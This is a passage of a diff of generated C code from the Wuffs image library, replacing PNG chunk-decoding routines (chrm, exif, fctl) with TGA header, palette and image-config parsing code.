wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; +- uint32_t num_bits_7 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_7); +- if (num_bits_7 == 24) { +- t_7 = ((uint64_t)(*scratch >> 32)); +- break; +- } +- num_bits_7 += 8u; +- *scratch |= ((uint64_t)(num_bits_7)); +- } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_tga__error__truncated_input); ++ goto exit; + } +- v_u = t_7; ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); + } +- self->private_impl.f_metadata_z |= ((16777215u & v_u) << 40u); + +- goto ok; + ok: +- self->private_impl.p_decode_chrm[0] = 0; ++ self->private_impl.p_decode_image_config = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_chrm[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func png.decoder.decode_exif +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_exif( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } +- +- if (self->private_impl.f_chunk_length < 4u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_metadata_flavor = 3u; +- self->private_impl.f_metadata_fourcc = 1163413830u; +- self->private_impl.f_metadata_x = 0u; +- self->private_impl.f_metadata_y = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); +- self->private_impl.f_metadata_z = wuffs_base__u64__sat_add(self->private_impl.f_metadata_y, ((uint64_t)(self->private_impl.f_chunk_length))); +- self->private_impl.f_chunk_length = 0u; ++ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; + +- goto ok; +- ok: + goto exit; + exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; + } +- + return status; + } + +-// -------- func png.decoder.decode_fctl ++// -------- func tga.decoder.do_decode_image_config + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__decode_fctl( +- wuffs_png__decoder* self, ++wuffs_tga__decoder__do_decode_image_config( ++ wuffs_tga__decoder* self, ++ wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint32_t v_x0 = 0; +- uint32_t v_y0 = 0; +- uint32_t v_x1 = 0; +- uint32_t v_y1 = 0; ++ uint32_t v_c32 = 0; ++ uint32_t v_c5 = 0; ++ uint32_t v_i = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -55899,309 +69341,577 @@ wuffs_png__decoder__decode_fctl( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_fctl[0]; ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; + if (coro_susp_point) { +- v_x0 = self->private_data.s_decode_fctl[0].v_x0; +- v_x1 = self->private_data.s_decode_fctl[0].v_x1; +- v_y1 = self->private_data.s_decode_fctl[0].v_y1; ++ v_i = self->private_data.s_do_decode_image_config.v_i; + } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_chunk_length != 26u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ if (self->private_impl.f_call_sequence != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); + goto exit; + } +- self->private_impl.f_chunk_length = 0u; + { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_fctl[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_fctl[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); +- if (num_bits_0 == 24) { +- t_0 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); +- } ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- v_x0 = t_0; ++ uint8_t t_0 = *iop_a_src++; ++ self->private_impl.f_header_id_length = t_0; + } +- if (v_x0 != self->private_impl.f_next_animation_seq_num) { +- status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); +- goto exit; +- } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { +- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ self->private_impl.f_header_color_map_type = t_1; ++ } ++ if (self->private_impl.f_header_color_map_type > 1u) { ++ status = wuffs_base__make_status(wuffs_tga__error__bad_header); + goto exit; + } +- self->private_impl.f_next_animation_seq_num += 1u; + { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint32_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_fctl[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_fctl[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); +- if (num_bits_1 == 24) { +- t_1 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)); +- } ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- v_x1 = t_1; ++ uint8_t t_2 = *iop_a_src++; ++ self->private_impl.f_header_image_type = t_2; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- uint32_t t_2; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_2 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_fctl[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_fctl[0].scratch; +- uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); +- if (num_bits_2 == 24) { +- t_2 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_2 += 8u; +- *scratch |= ((uint64_t)(num_bits_2)); +- } +- } +- v_y1 = t_2; ++ if ((self->private_impl.f_header_image_type == 1u) || ++ (self->private_impl.f_header_image_type == 2u) || ++ (self->private_impl.f_header_image_type == 3u) || ++ (self->private_impl.f_header_image_type == 9u) || ++ (self->private_impl.f_header_image_type == 10u) || ++ (self->private_impl.f_header_image_type == 11u)) { ++ } else { ++ status = wuffs_base__make_status(wuffs_tga__error__bad_header); ++ goto exit; + } + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- uint32_t t_3; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ uint16_t t_3; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_3 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); ++ iop_a_src += 2; + } else { +- self->private_data.s_decode_fctl[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_decode_fctl[0].scratch; +- uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); + *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); +- if (num_bits_3 == 24) { +- t_3 = ((uint32_t)(*scratch >> 32)); ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; ++ if (num_bits_3 == 8) { ++ t_3 = ((uint16_t)(*scratch)); + break; + } + num_bits_3 += 8u; +- *scratch |= ((uint64_t)(num_bits_3)); ++ *scratch |= ((uint64_t)(num_bits_3)) << 56; + } + } +- v_x0 = t_3; ++ self->private_impl.f_header_color_map_first_entry_index = t_3; + } + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- uint32_t t_4; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_4 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ uint16_t t_4; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_4 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); ++ iop_a_src += 2; + } else { +- self->private_data.s_decode_fctl[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_decode_fctl[0].scratch; +- uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); + *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); +- if (num_bits_4 == 24) { +- t_4 = ((uint32_t)(*scratch >> 32)); ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; ++ if (num_bits_4 == 8) { ++ t_4 = ((uint16_t)(*scratch)); + break; + } + num_bits_4 += 8u; +- *scratch |= ((uint64_t)(num_bits_4)); ++ *scratch |= ((uint64_t)(num_bits_4)) << 56; + } + } +- v_y0 = t_4; ++ self->private_impl.f_header_color_map_length = t_4; + } +- v_x1 += v_x0; +- v_y1 += v_y0; +- if ((v_x0 >= v_x1) || +- (v_x0 > self->private_impl.f_width) || +- (v_x1 > self->private_impl.f_width) || +- (v_y0 >= v_y1) || +- (v_y0 > self->private_impl.f_height) || +- (v_y1 > self->private_impl.f_height)) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_5 = *iop_a_src++; ++ self->private_impl.f_header_color_map_entry_size = t_5; + } +- self->private_impl.f_frame_rect_x0 = v_x0; +- self->private_impl.f_frame_rect_y0 = v_y0; +- self->private_impl.f_frame_rect_x1 = v_x1; +- self->private_impl.f_frame_rect_y1 = v_y1; ++ if (self->private_impl.f_header_color_map_type != 0u) { ++ if ((self->private_impl.f_header_color_map_first_entry_index != 0u) || (self->private_impl.f_header_color_map_length > 256u)) { ++ status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); ++ goto exit; ++ } else if ((self->private_impl.f_header_color_map_entry_size != 15u) && ++ (self->private_impl.f_header_color_map_entry_size != 16u) && ++ (self->private_impl.f_header_color_map_entry_size != 24u) && ++ (self->private_impl.f_header_color_map_entry_size != 32u)) { ++ status = wuffs_base__make_status(wuffs_tga__error__bad_header); ++ goto exit; ++ } ++ } else { ++ if ((self->private_impl.f_header_color_map_first_entry_index != 0u) || (self->private_impl.f_header_color_map_length != 0u) || (self->private_impl.f_header_color_map_entry_size != 0u)) { ++ status = wuffs_base__make_status(wuffs_tga__error__bad_header); ++ goto exit; ++ } ++ } ++ self->private_data.s_do_decode_image_config.scratch = 4u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ if (self->private_data.s_do_decode_image_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_image_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_image_config.scratch; + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); +- uint32_t t_5; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ uint32_t t_6; + if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_5 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ t_6 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); + iop_a_src += 2; + } else { +- self->private_data.s_decode_fctl[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_decode_fctl[0].scratch; +- uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_6 = ((uint32_t)(*scratch >> 56)); + *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); +- if (num_bits_5 == 8) { +- t_5 = ((uint32_t)(*scratch >> 48)); ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_6; ++ if (num_bits_6 == 8) { ++ t_6 = ((uint32_t)(*scratch)); + break; + } +- num_bits_5 += 8u; +- *scratch |= ((uint64_t)(num_bits_5)); ++ num_bits_6 += 8u; ++ *scratch |= ((uint64_t)(num_bits_6)) << 56; + } + } +- v_x0 = t_5; ++ self->private_impl.f_width = t_6; + } + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); +- uint32_t t_6; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ uint32_t t_7; + if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_6 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ t_7 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); + iop_a_src += 2; + } else { +- self->private_data.s_decode_fctl[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_decode_fctl[0].scratch; +- uint32_t num_bits_6 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_7 = ((uint32_t)(*scratch >> 56)); + *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_6); +- if (num_bits_6 == 8) { +- t_6 = ((uint32_t)(*scratch >> 48)); ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_7; ++ if (num_bits_7 == 8) { ++ t_7 = ((uint32_t)(*scratch)); + break; + } +- num_bits_6 += 8u; +- *scratch |= ((uint64_t)(num_bits_6)); ++ num_bits_7 += 8u; ++ *scratch |= ((uint64_t)(num_bits_7)) << 56; + } + } +- v_x1 = t_6; +- } +- if (v_x1 <= 0u) { +- self->private_impl.f_frame_duration = (((uint64_t)(v_x0)) * 7056000u); +- } else { +- self->private_impl.f_frame_duration = ((((uint64_t)(v_x0)) * 705600000u) / ((uint64_t)(v_x1))); ++ self->private_impl.f_height = t_7; + } + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint32_t t_7 = *iop_a_src++; +- v_x0 = t_7; ++ uint8_t t_8 = *iop_a_src++; ++ self->private_impl.f_header_pixel_depth = t_8; + } +- if (v_x0 == 0u) { +- self->private_impl.f_frame_disposal = 0u; +- } else if (v_x0 == 1u) { +- self->private_impl.f_frame_disposal = 1u; +- } else if (v_x0 == 2u) { +- self->private_impl.f_frame_disposal = 2u; +- } else { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ if ((self->private_impl.f_header_pixel_depth != 1u) && ++ (self->private_impl.f_header_pixel_depth != 8u) && ++ (self->private_impl.f_header_pixel_depth != 15u) && ++ (self->private_impl.f_header_pixel_depth != 16u) && ++ (self->private_impl.f_header_pixel_depth != 24u) && ++ (self->private_impl.f_header_pixel_depth != 32u)) { ++ status = wuffs_base__make_status(wuffs_tga__error__bad_header); + goto exit; + } ++ if (((uint8_t)(self->private_impl.f_header_image_type | 8u)) == 9u) { ++ self->private_impl.f_scratch_bytes_per_pixel = 1u; ++ self->private_impl.f_src_bytes_per_pixel = 1u; ++ self->private_impl.f_src_pixfmt = 2164523016u; ++ self->private_impl.f_opaque = ((self->private_impl.f_header_color_map_entry_size == 15u) || (self->private_impl.f_header_color_map_entry_size == 24u)); ++ } else if (((uint8_t)(self->private_impl.f_header_image_type | 8u)) == 10u) { ++ if ((self->private_impl.f_header_pixel_depth == 15u) || (self->private_impl.f_header_pixel_depth == 16u)) { ++ self->private_impl.f_scratch_bytes_per_pixel = 4u; ++ self->private_impl.f_src_bytes_per_pixel = 0u; ++ self->private_impl.f_src_pixfmt = 2164295816u; ++ } else if (self->private_impl.f_header_pixel_depth == 24u) { ++ self->private_impl.f_scratch_bytes_per_pixel = 3u; ++ self->private_impl.f_src_bytes_per_pixel = 3u; ++ self->private_impl.f_src_pixfmt = 2147485832u; ++ self->private_impl.f_opaque = true; ++ } else if (self->private_impl.f_header_pixel_depth == 32u) { ++ self->private_impl.f_scratch_bytes_per_pixel = 4u; ++ self->private_impl.f_src_bytes_per_pixel = 4u; ++ self->private_impl.f_src_pixfmt = 2164295816u; ++ } else { ++ status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); ++ goto exit; ++ } ++ } else { ++ if (self->private_impl.f_header_pixel_depth == 8u) { ++ self->private_impl.f_scratch_bytes_per_pixel = 1u; ++ self->private_impl.f_src_bytes_per_pixel = 1u; ++ self->private_impl.f_src_pixfmt = 536870920u; ++ self->private_impl.f_opaque = true; ++ } else { ++ status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); ++ goto exit; ++ } ++ } + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint32_t t_8 = *iop_a_src++; +- v_x0 = t_8; +- } +- if (v_x0 == 0u) { +- self->private_impl.f_frame_overwrite_instead_of_blend = true; +- } else if (v_x0 == 1u) { +- self->private_impl.f_frame_overwrite_instead_of_blend = false; ++ uint8_t t_9 = *iop_a_src++; ++ self->private_impl.f_header_image_descriptor = t_9; ++ } ++ if (((uint8_t)(self->private_impl.f_header_image_descriptor & 16u)) != 0u) { ++ status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); ++ goto exit; ++ } ++ self->private_data.s_do_decode_image_config.scratch = ((uint32_t)(self->private_impl.f_header_id_length)); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); ++ if (self->private_data.s_do_decode_image_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_image_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_image_config.scratch; ++ if (self->private_impl.f_header_color_map_type != 0u) { ++ while (v_i < ((uint32_t)(self->private_impl.f_header_color_map_length))) { ++ if (self->private_impl.f_header_color_map_entry_size == 24u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(17); ++ uint32_t t_10; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { ++ t_10 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); ++ iop_a_src += 3; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(18); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_10 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_10; ++ if (num_bits_10 == 16) { ++ t_10 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_10 += 8u; ++ *scratch |= ((uint64_t)(num_bits_10)) << 56; ++ } ++ } ++ v_c32 = t_10; ++ } ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 0u)] = ((uint8_t)((v_c32 >> 0u))); ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 1u)] = ((uint8_t)((v_c32 >> 8u))); ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 2u)] = ((uint8_t)((v_c32 >> 16u))); ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 3u)] = 255u; ++ } else if (self->private_impl.f_header_color_map_entry_size == 32u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(19); ++ uint32_t t_11; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_11 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(20); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_11 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_11; ++ if (num_bits_11 == 24) { ++ t_11 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_11 += 8u; ++ *scratch |= ((uint64_t)(num_bits_11)) << 56; ++ } ++ } ++ v_c32 = t_11; ++ } ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 0u)] = ((uint8_t)((v_c32 >> 0u))); ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 1u)] = ((uint8_t)((v_c32 >> 8u))); ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 2u)] = ((uint8_t)((v_c32 >> 16u))); ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 3u)] = ((uint8_t)((v_c32 >> 24u))); ++ } else { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(21); ++ uint32_t t_12; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_12 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_12 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_12; ++ if (num_bits_12 == 8) { ++ t_12 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_12 += 8u; ++ *scratch |= ((uint64_t)(num_bits_12)) << 56; ++ } ++ } ++ v_c32 = t_12; ++ } ++ v_c5 = (31u & (v_c32 >> 0u)); ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 0u)] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); ++ v_c5 = (31u & (v_c32 >> 5u)); ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 1u)] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); ++ v_c5 = (31u & (v_c32 >> 10u)); ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 2u)] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 3u)] = 255u; ++ } ++ v_i += 1u; ++ } ++ while (v_i < 256u) { ++ self->private_data.f_src_palette[((v_i * 4u) + 0u)] = 0u; ++ self->private_data.f_src_palette[((v_i * 4u) + 1u)] = 0u; ++ self->private_data.f_src_palette[((v_i * 4u) + 2u)] = 0u; ++ self->private_data.f_src_palette[((v_i * 4u) + 3u)] = 255u; ++ v_i += 1u; ++ } ++ } ++ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); ++ if (a_dst != NULL) { ++ wuffs_base__image_config__set( ++ a_dst, ++ self->private_impl.f_src_pixfmt, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height, ++ self->private_impl.f_frame_config_io_position, ++ self->private_impl.f_opaque); ++ } ++ self->private_impl.f_call_sequence = 32u; ++ ++ goto ok; ++ ok: ++ self->private_impl.p_do_decode_image_config = 0; ++ goto exit; ++ } ++ 